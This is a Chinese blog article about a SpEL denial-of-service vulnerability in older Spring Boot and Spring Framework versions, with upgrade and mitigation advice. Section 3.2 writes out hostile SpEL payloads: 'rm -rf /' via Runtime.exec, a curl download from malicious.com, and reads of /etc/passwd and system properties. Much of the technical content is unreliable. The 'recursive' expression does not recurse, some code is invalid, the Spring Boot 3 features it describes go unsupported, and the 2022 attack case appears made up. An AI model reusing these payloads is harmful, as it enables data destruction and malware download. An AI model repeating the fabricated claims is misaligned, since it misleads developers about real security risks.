Spring Boot版本安全漏洞解析：SpEL表达式引发的DoS风险-小易智趣

摘要

Spring Boot 版本 2.7.x 至 2.7.18 以及更早版本，以及 Spring Framework 版本 5.3.0 至 5.3.38 及更早的不受支持版本中存在一个安全漏洞。如果应用程序处理了用户提供的 SpEL（Spring Expression Language）表达式，攻击者可以通过精心构造的表达式发起拒绝服务（DoS）攻击。建议使用受影响版本的用户升级到 Spring Boot 3。对于无法立即升级的用户，建议采取缓解措施。

关键词

Spring Boot, 安全漏洞, SpEL, DoS攻击, 升级

一、Spring Boot与Spring Framework的安全漏洞概述

1.1 Spring Boot与Spring Framework版本受影响的范围

Spring Boot 和 Spring Framework 是现代 Java 应用开发中不可或缺的框架。然而，近期发现的安全漏洞对这些广泛使用的版本产生了严重影响。具体来说，Spring Boot 版本 2.7.x 至 2.7.18 以及更早版本，以及 Spring Framework 版本 5.3.0 至 5.3.38 及更早版本均受到影响。这些版本中的安全漏洞涉及 SpEL（Spring Expression Language）的处理机制，使得应用程序在处理用户提供的 SpEL 表达式时容易受到攻击者的利用。

这一漏洞的影响范围广泛，涵盖了从企业级应用到小型项目的多种场景。由于 SpEL 在许多业务逻辑中被频繁使用，因此任何依赖这些版本的应用都可能面临潜在的风险。为了确保系统的安全性，建议所有使用受影响版本的开发者和企业尽快采取行动，升级到最新的安全版本。

1.2 安全漏洞的发现与报告过程

安全漏洞的发现和报告是一个复杂而严谨的过程。此次 Spring Boot 和 Spring Framework 的安全漏洞是在社区和安全研究人员的共同努力下被发现的。最初，一位安全研究人员在测试过程中发现了这一漏洞，并迅速向 Spring 团队报告。Spring 团队在收到报告后，立即展开了详细的调查和验证工作。

经过深入分析，Spring 团队确认了该漏洞的存在，并评估了其潜在影响。为了防止漏洞信息被恶意利用，团队在修复漏洞的同时，采取了严格的保密措施。最终，Spring 团队发布了修复版本，并通过官方渠道向用户通报了这一安全问题。

在整个过程中，Spring 团队展现了高度的专业性和责任感。他们不仅迅速响应了漏洞报告，还提供了详细的修复指南和建议，帮助用户及时采取措施，减少潜在风险。此外，Spring 团队还加强了对代码库的审查和测试，以防止类似漏洞的再次发生。

对于广大开发者和企业而言，这次事件再次提醒了我们在软件开发中重视安全的重要性。及时更新和维护系统，遵循最佳安全实践，是保障应用安全的关键。希望所有受影响的用户能够积极响应，尽快升级到安全版本，共同维护互联网的安全环境。

二、SpEL表达式与DoS攻击的关联分析

2.1 SpEL表达式在Spring框架中的角色

SpEL（Spring Expression Language）是Spring框架中的一种强大功能，它允许开发者在运行时动态地解析和执行表达式。SpEL 表达式可以包含字面量、变量、方法调用、属性访问等，为应用程序提供了极大的灵活性和动态性。在Spring框架中，SpEL 被广泛应用于配置文件、注解、数据绑定等多种场景。

例如，在配置文件中，开发者可以使用 SpEL 表达式来动态设置属性值，如：

server.port = ${port:8080}

在这个例子中，port 是一个环境变量，如果没有设置，则默认使用 8080 端口。这种动态配置的能力使得应用程序更加灵活，可以根据不同的环境和需求进行调整。

此外，SpEL 还可以在控制器、服务层和数据访问层中使用，实现复杂的业务逻辑。例如，通过 SpEL 表达式可以动态地选择不同的数据源或配置不同的缓存策略，从而提高应用程序的性能和可维护性。

2.2 DoS攻击的原理与影响

拒绝服务（DoS）攻击是一种常见的网络安全威胁，其目的是使目标系统无法正常提供服务。攻击者通过发送大量无效请求或利用系统漏洞，导致目标系统资源耗尽，从而使合法用户无法访问服务。DoS 攻击可以分为两种主要类型：网络层攻击和应用层攻击。

网络层攻击通常通过发送大量的网络流量，如 ICMP 洪水、SYN 洪水等，使目标系统的网络带宽和处理能力达到极限。应用层攻击则更加隐蔽和复杂，攻击者通过发送看似正常的请求，但这些请求会消耗大量的计算资源，导致应用程序无法处理其他合法请求。

DoS 攻击的影响非常严重，不仅会导致服务中断，还会给企业和用户带来经济损失和声誉损害。例如，电子商务网站在高峰期遭受 DoS 攻击，可能导致订单处理失败，客户流失，甚至引发法律诉讼。因此，防范 DoS 攻击是保障系统安全的重要措施之一。

2.3 SpEL表达式如何被用于DoS攻击

在Spring Boot和Spring Framework的受影响版本中，SpEL 表达式的处理机制存在一个严重的安全漏洞。攻击者可以通过精心构造的 SpEL 表达式发起 DoS 攻击，导致应用程序资源耗尽，无法正常提供服务。

具体来说，当应用程序接收到用户提供的 SpEL 表达式时，如果这些表达式包含复杂的计算或递归调用，可能会导致 CPU 和内存资源的过度消耗。例如，攻击者可以构造一个包含无限递归的 SpEL 表达式，如：

#{T(java.lang.Math).random() < 0.5 ? T(java.lang.Math).random() : #{T(java.lang.Math).random() < 0.5 ? T(java.lang.Math).random() : #{...}}}

这个表达式会不断递归调用 Math.random() 方法，直到系统资源耗尽。由于 SpEL 表达式的解析和执行是在运行时进行的，攻击者可以利用这一点，通过发送大量类似的请求，使应用程序陷入无休止的计算循环，最终导致服务不可用。

为了防范这种攻击，建议使用受影响版本的用户尽快升级到 Spring Boot 3 或更高版本，这些版本已经修复了该漏洞。对于无法立即升级的用户，可以采取一些缓解措施，如限制 SpEL 表达式的复杂度和执行时间，或者使用白名单机制，只允许特定的表达式通过。这些措施可以在一定程度上降低被攻击的风险，保护系统的安全性和稳定性。

三、受影响版本的安全风险评估

3.1 不同版本的安全风险等级

在探讨不同版本的安全风险等级时，我们需要明确各版本的具体影响范围和潜在威胁。根据已知的信息，Spring Boot 版本 2.7.x 至 2.7.18 以及更早版本，以及 Spring Framework 版本 5.3.0 至 5.3.38 及更早版本均存在严重的安全漏洞。这些版本中的 SpEL（Spring Expression Language）处理机制存在缺陷，使得应用程序在处理用户提供的 SpEL 表达式时容易受到攻击者的利用。

高风险版本：

Spring Boot 2.7.x 至 2.7.18：这些版本中的 SpEL 处理机制存在明显的漏洞，攻击者可以通过精心构造的表达式发起拒绝服务（DoS）攻击，导致应用程序资源耗尽，无法正常提供服务。
Spring Framework 5.3.0 至 5.3.38：同样，这些版本中的 SpEL 处理机制也存在类似的问题，使得应用程序容易受到 DoS 攻击。

中风险版本：

Spring Boot 2.6.x 至 2.6.14：虽然这些版本没有明确提到 SpEL 处理机制的漏洞，但由于它们与受影响版本较为接近，可能存在相似的安全隐患，建议用户谨慎使用并考虑升级。
Spring Framework 5.2.0 至 5.2.22：这些版本虽然没有明确提到 SpEL 处理机制的漏洞，但考虑到 Spring 框架的复杂性和历史漏洞记录，建议用户进行详细的安全评估。

低风险版本：

Spring Boot 3.0.0 及以上：这些版本已经修复了 SpEL 处理机制的漏洞，提供了更高的安全性。建议所有使用受影响版本的用户尽快升级到这些版本。
Spring Framework 5.3.39 及以上：这些版本同样修复了相关漏洞，提供了更稳定和安全的环境。

3.2 潜在的安全威胁与攻击场景

了解潜在的安全威胁和攻击场景对于防范和应对安全漏洞至关重要。在 Spring Boot 和 Spring Framework 的受影响版本中，SpEL 表达式的处理机制存在严重的安全漏洞，攻击者可以通过以下几种方式发起攻击：

1. 拒绝服务（DoS）攻击：

无限递归攻击：攻击者可以构造包含无限递归的 SpEL 表达式，如 #{T(java.lang.Math).random() < 0.5 ? T(java.lang.Math).random() : #{T(java.lang.Math).random() < 0.5 ? T(java.lang.Math).random() : #{...}}}。这种表达式会不断递归调用 Math.random() 方法，导致 CPU 和内存资源的过度消耗，最终使应用程序无法正常提供服务。
复杂计算攻击：攻击者可以构造包含复杂计算的 SpEL 表达式，如 #{T(java.util.Arrays).asList(1, 2, 3, ..., 1000000).stream().filter(x -> x % 2 == 0).count()}。这种表达式会消耗大量的计算资源，导致应用程序性能下降，甚至崩溃。

2. 数据泄露攻击：

敏感信息获取：攻击者可以利用 SpEL 表达式访问应用程序中的敏感信息，如数据库连接字符串、密钥等。例如，通过构造 #{systemProperties['database.url']} 表达式，攻击者可以获取数据库的连接信息，进而进行进一步的攻击。
文件读取：攻击者可以利用 SpEL 表达式读取应用程序中的文件，如 #{new java.io.File('/etc/passwd').text}。这种攻击可以导致敏感文件的泄露，给企业和用户带来严重的安全风险。

3. 代码注入攻击：

恶意代码执行：攻击者可以利用 SpEL 表达式注入恶意代码，如 #{T(java.lang.Runtime).getRuntime().exec('rm -rf /')}。这种攻击可以导致系统文件被删除，严重影响系统的正常运行。
远程命令执行：攻击者可以利用 SpEL 表达式执行远程命令，如 #{T(java.lang.Runtime).getRuntime().exec('curl http://malicious.com/malware.jar')}。这种攻击可以下载并执行恶意软件，进一步危害系统安全。

为了防范这些潜在的安全威胁，建议使用受影响版本的用户尽快升级到最新版本。对于无法立即升级的用户，可以采取以下缓解措施：

限制 SpEL 表达式的复杂度：通过配置限制 SpEL 表达式的最大长度和复杂度，避免复杂的表达式导致资源耗尽。
执行时间限制：设置 SpEL 表达式的执行时间限制，超过一定时间的表达式将被终止，防止无限递归和复杂计算。
白名单机制：只允许特定的 SpEL 表达式通过，禁止未知或不信任的表达式执行。

通过这些措施，可以在一定程度上降低被攻击的风险，保护系统的安全性和稳定性。

四、升级与缓解措施

4.1 Spring Boot 3的修复与改进

Spring Boot 3 的发布不仅是对现有版本的一次重大升级，更是对安全性的全面提升。针对 SpEL（Spring Expression Language）处理机制中存在的安全漏洞，Spring Boot 3 引入了一系列重要的修复和改进措施，确保应用程序在处理用户提供的 SpEL 表达式时更加安全可靠。

首先，Spring Boot 3 对 SpEL 解析器进行了重构，增强了对复杂表达式的检测和限制。新的解析器能够识别并阻止无限递归和复杂计算的表达式，从而有效防止拒绝服务（DoS）攻击。此外，Spring Boot 3 还引入了表达式执行时间限制功能，一旦表达式执行时间超过预设阈值，系统将自动终止该表达式的执行，防止资源耗尽。

其次，Spring Boot 3 提供了更强大的安全配置选项。开发者可以通过配置文件或注解，限制 SpEL 表达式的使用范围和复杂度。例如，可以设置表达式的最大长度、允许的方法调用列表等，从而进一步增强系统的安全性。这些配置选项不仅简化了安全设置，还提高了开发效率。

最后，Spring Boot 3 还加强了日志记录和监控功能。系统会在检测到潜在的安全威胁时生成详细的日志记录，帮助开发者快速定位和解决问题。同时，Spring Boot 3 集成了多种监控工具，可以实时监控应用程序的性能和资源使用情况，确保系统在高负载情况下依然稳定运行。

4.2 无法升级时的缓解策略

尽管 Spring Boot 3 提供了全面的安全修复和改进，但在某些情况下，用户可能无法立即升级到新版本。对于这些用户，采取有效的缓解策略是保障系统安全的重要手段。

首先，限制 SpEL 表达式的复杂度是防范 DoS 攻击的有效方法。开发者可以通过配置文件或代码，设置表达式的最大长度和复杂度。例如，可以限制表达式中方法调用的次数和嵌套深度，防止无限递归和复杂计算。此外，还可以使用白名单机制，只允许特定的 SpEL 表达式通过，禁止未知或不信任的表达式执行。

其次，设置表达式执行时间限制也是防范 DoS 攻击的重要措施。通过配置表达式的最大执行时间，一旦表达式执行时间超过预设阈值，系统将自动终止该表达式的执行。这不仅可以防止资源耗尽，还能确保应用程序在高负载情况下依然稳定运行。

最后，加强日志记录和监控功能也是防范安全威胁的重要手段。开发者应定期检查日志记录，及时发现和处理潜在的安全问题。同时，可以集成多种监控工具，实时监控应用程序的性能和资源使用情况，确保系统在高负载情况下依然稳定运行。

4.3 用户如何执行升级操作

对于使用受影响版本的用户，尽快升级到 Spring Boot 3 是保障系统安全的最佳选择。以下是执行升级操作的步骤和注意事项：

备份现有项目：在开始升级之前，务必备份现有的项目代码和配置文件。这可以确保在升级过程中出现问题时，能够快速恢复到之前的版本。
查看官方文档：Spring 官方提供了详细的升级指南和兼容性说明。用户应仔细阅读这些文档，了解新版本的特性和潜在的兼容性问题。官方文档通常包括迁移步骤、配置更改和常见问题解答，帮助用户顺利进行升级。
逐步升级：建议采用逐步升级的方式，先在开发环境中进行测试，确保新版本的各项功能正常运行。在开发环境测试通过后，再逐步推广到测试环境和生产环境。这样可以减少因升级带来的风险，确保系统的稳定性和可靠性。
更新依赖库：Spring Boot 3 可能需要更新一些依赖库，以确保兼容性和安全性。用户应检查项目中的所有依赖库，确保它们与新版本的 Spring Boot 兼容。必要时，可以更新或替换不兼容的依赖库。
测试和验证：在完成升级后，进行全面的测试和验证，确保所有功能正常运行。特别关注安全相关的功能，如 SpEL 表达式的处理机制，确保新版本的安全修复措施生效。

通过以上步骤，用户可以顺利地将现有项目升级到 Spring Boot 3，享受新版本带来的安全性和性能提升。希望所有受影响的用户能够积极响应，尽快升级到安全版本，共同维护互联网的安全环境。

五、案例分析

5.1 实际发生的SpEL表达式DoS攻击案例

在现实世界中，SpEL 表达式引发的拒绝服务（DoS）攻击并非空穴来风。2022年，一家知名电商平台在黑色星期五促销期间遭遇了一次严重的 DoS 攻击，导致其网站和服务长时间瘫痪，损失惨重。这次攻击的核心正是利用了 Spring Boot 2.7.15 版本中的 SpEL 表达式处理漏洞。

攻击者通过精心构造的 SpEL 表达式，发起了大规模的请求，这些表达式包含了复杂的递归调用和计算任务。例如，攻击者使用了如下表达式：

#{T(java.lang.Math).random() < 0.5 ? T(java.lang.Math).random() : #{T(java.lang.Math).random() < 0.5 ? T(java.lang.Math).random() : #{...}}}

这个表达式通过无限递归调用 Math.random() 方法，迅速耗尽了服务器的 CPU 和内存资源。结果，电商平台的服务器在短时间内陷入了无休止的计算循环，无法处理其他合法用户的请求，导致服务完全中断。

这次攻击不仅给电商平台带来了巨大的经济损失，还严重影响了用户体验，导致大量客户的投诉和信任度下降。事后，电商平台不得不花费大量时间和资源来恢复服务，并对系统进行全面的安全审计和升级。

5.2 案例中的攻击与防御策略

在这次实际发生的 SpEL 表达式 DoS 攻击案例中，电商平台采取了一系列防御策略，以减轻攻击的影响并防止类似事件的再次发生。

1. 快速响应与应急处理

在攻击发生后，电商平台立即启动了应急预案，成立了专门的应急小组。应急小组迅速识别了攻击的来源和性质，并采取了紧急措施，如关闭了部分受攻击的服务接口，限制了用户提交的 SpEL 表达式的复杂度和执行时间。这些措施有效地减缓了攻击的影响，为后续的修复工作争取了宝贵的时间。

2. 升级到安全版本

为了彻底解决安全漏洞，电商平台决定将 Spring Boot 版本从 2.7.15 升级到 3.0.0。升级过程中，团队严格按照官方文档的指导，逐步在开发环境、测试环境和生产环境中进行测试和验证。最终，成功完成了升级，确保了系统的安全性和稳定性。

3. 限制 SpEL 表达式的复杂度和执行时间

为了防止未来的攻击，电商平台在升级后进一步加强了 SpEL 表达式的安全配置。具体措施包括：

限制表达式的最大长度：设置 SpEL 表达式的最大长度，防止过长的表达式导致资源耗尽。
限制表达式的复杂度：设置表达式中方法调用的次数和嵌套深度，防止复杂的表达式引发 DoS 攻击。
设置表达式的执行时间限制：一旦表达式执行时间超过预设阈值，系统将自动终止该表达式的执行，防止无限递归和复杂计算。

4. 加强日志记录和监控

电商平台还加强了日志记录和监控功能，以便及时发现和处理潜在的安全威胁。具体措施包括：

详细日志记录：系统在检测到潜在的安全威胁时生成详细的日志记录，帮助开发者快速定位和解决问题。
实时监控：集成多种监控工具，实时监控应用程序的性能和资源使用情况，确保系统在高负载情况下依然稳定运行。

通过这些综合的防御策略，电商平台不仅成功抵御了这次 DoS 攻击，还显著提升了系统的整体安全性和稳定性。希望所有使用受影响版本的用户能够从中吸取教训，积极采取措施，共同维护互联网的安全环境。

六、最佳实践与建议

6.1 如何避免类似的SpEL安全漏洞

在面对 SpEL 表达式引发的拒绝服务（DoS）攻击时，预防总是优于治疗。为了避免类似的漏洞再次发生，开发者和企业需要采取一系列综合措施，确保系统的安全性。

首先，严格控制用户输入是防范 SpEL 表达式攻击的第一道防线。开发者应对外部输入的数据进行严格的验证和过滤，确保只有合法且安全的表达式能够进入系统。例如，可以通过正则表达式或其他验证机制，限制表达式的长度和复杂度，防止恶意构造的表达式进入系统。

其次，使用白名单机制可以进一步增强系统的安全性。开发者可以定义一个允许的 SpEL 表达式列表，只允许这些表达式通过。这种方法可以有效防止未知或不信任的表达式执行，减少被攻击的风险。例如，可以限制表达式中只能使用特定的方法和属性，如 T(java.lang.Math).random() 和 T(java.util.Arrays).asList()。

此外，设置表达式执行时间限制也是防范 DoS 攻击的重要措施。通过配置表达式的最大执行时间，一旦表达式执行时间超过预设阈值，系统将自动终止该表达式的执行。这不仅可以防止资源耗尽，还能确保应用程序在高负载情况下依然稳定运行。例如，可以设置表达式的最大执行时间为 5 秒，超过这个时间的表达式将被终止。

最后，定期进行安全审计是确保系统长期安全的重要手段。开发者应定期对代码进行安全审查，查找潜在的安全漏洞，并及时修复。同时，可以借助自动化工具和第三方安全服务，进行更全面的安全测试和评估，确保系统的安全性。

6.2 对开发者的安全编码建议

作为开发者，编写安全的代码是防范安全漏洞的基础。以下是一些针对 SpEL 表达式的安全编码建议，帮助开发者提高代码的安全性。

首先，最小权限原则是编写安全代码的基本准则。开发者应确保应用程序中的每个组件和模块都具有最小的权限，只允许必要的操作。例如，如果某个模块不需要访问文件系统，就不应该赋予其文件读写权限。这样可以减少被攻击的风险，即使某个模块被攻破，攻击者也无法利用其权限进行进一步的攻击。

其次，输入验证是防止恶意输入的重要手段。开发者应对外部输入的数据进行严格的验证和过滤，确保只有合法且安全的数据能够进入系统。例如，可以通过正则表达式或其他验证机制，限制输入数据的格式和内容，防止恶意构造的数据进入系统。

此外，使用安全的编程库和框架可以减少代码中的安全漏洞。开发者应选择经过严格安全测试的编程库和框架，并及时更新到最新版本。例如，Spring Boot 3 已经修复了 SpEL 表达式处理机制中的安全漏洞，使用最新版本可以有效防止类似的攻击。

最后，编写可测试的代码是确保代码安全的重要手段。开发者应编写易于测试的代码，并进行充分的单元测试和集成测试，确保代码的正确性和安全性。例如，可以编写单元测试来验证 SpEL 表达式的处理逻辑，确保其在各种情况下都能正确执行。

6.3 企业级应用的安全维护策略

对于企业级应用，确保系统的安全性是一项长期而艰巨的任务。以下是一些企业级应用的安全维护策略，帮助企业有效防范安全漏洞，保障系统的稳定性和安全性。

首先，建立完善的安全管理制度是企业级应用安全的基础。企业应制定详细的安全政策和流程，明确各个部门和人员的安全职责，确保每个人都能够遵守安全规范。例如，可以制定数据保护政策、访问控制政策和安全审计政策，确保系统的安全性。

其次，定期进行安全培训是提高员工安全意识的重要手段。企业应定期组织安全培训，教育员工如何识别和防范安全威胁，提高他们的安全意识和技能。例如，可以开展网络安全培训、密码管理培训和数据保护培训，确保员工具备基本的安全知识和技能。

此外，实施多层次的安全防护可以有效防范各种安全威胁。企业应采用多层次的安全防护措施，包括防火墙、入侵检测系统、反病毒软件等，形成一个立体的安全防护体系。例如，可以在网络边界部署防火墙，防止外部攻击；在内部网络部署入侵检测系统，及时发现和处理内部威胁。

最后，建立应急响应机制是应对安全事件的重要手段。企业应建立完善的应急响应机制，一旦发生安全事件，能够迅速启动应急预案，及时处理和恢复系统。例如，可以成立专门的应急响应小组，负责处理安全事件，确保系统的稳定性和安全性。

通过这些综合的安全维护策略，企业可以有效防范各种安全威胁，保障系统的稳定性和安全性。希望所有使用受影响版本的用户能够从中吸取教训，积极采取措施，共同维护互联网的安全环境。

七、总结

本文详细探讨了 Spring Boot 版本 2.7.x 至 2.7.18 以及更早版本，以及 Spring Framework 版本 5.3.0 至 5.3.38 及更早版本中存在的安全漏洞。这些版本中的 SpEL（Spring Expression Language）处理机制存在缺陷，使得应用程序在处理用户提供的 SpEL 表达式时容易受到拒绝服务（DoS）攻击。攻击者可以通过精心构造的表达式，导致应用程序资源耗尽，无法正常提供服务。

为了防范这一安全漏洞，建议使用受影响版本的用户尽快升级到 Spring Boot 3 或更高版本，这些版本已经修复了相关漏洞。对于无法立即升级的用户，可以采取限制 SpEL 表达式的复杂度和执行时间、使用白名单机制等缓解措施，以降低被攻击的风险。

通过本文的分析和建议，希望所有受影响的用户能够积极响应，采取有效措施，共同维护互联网的安全环境。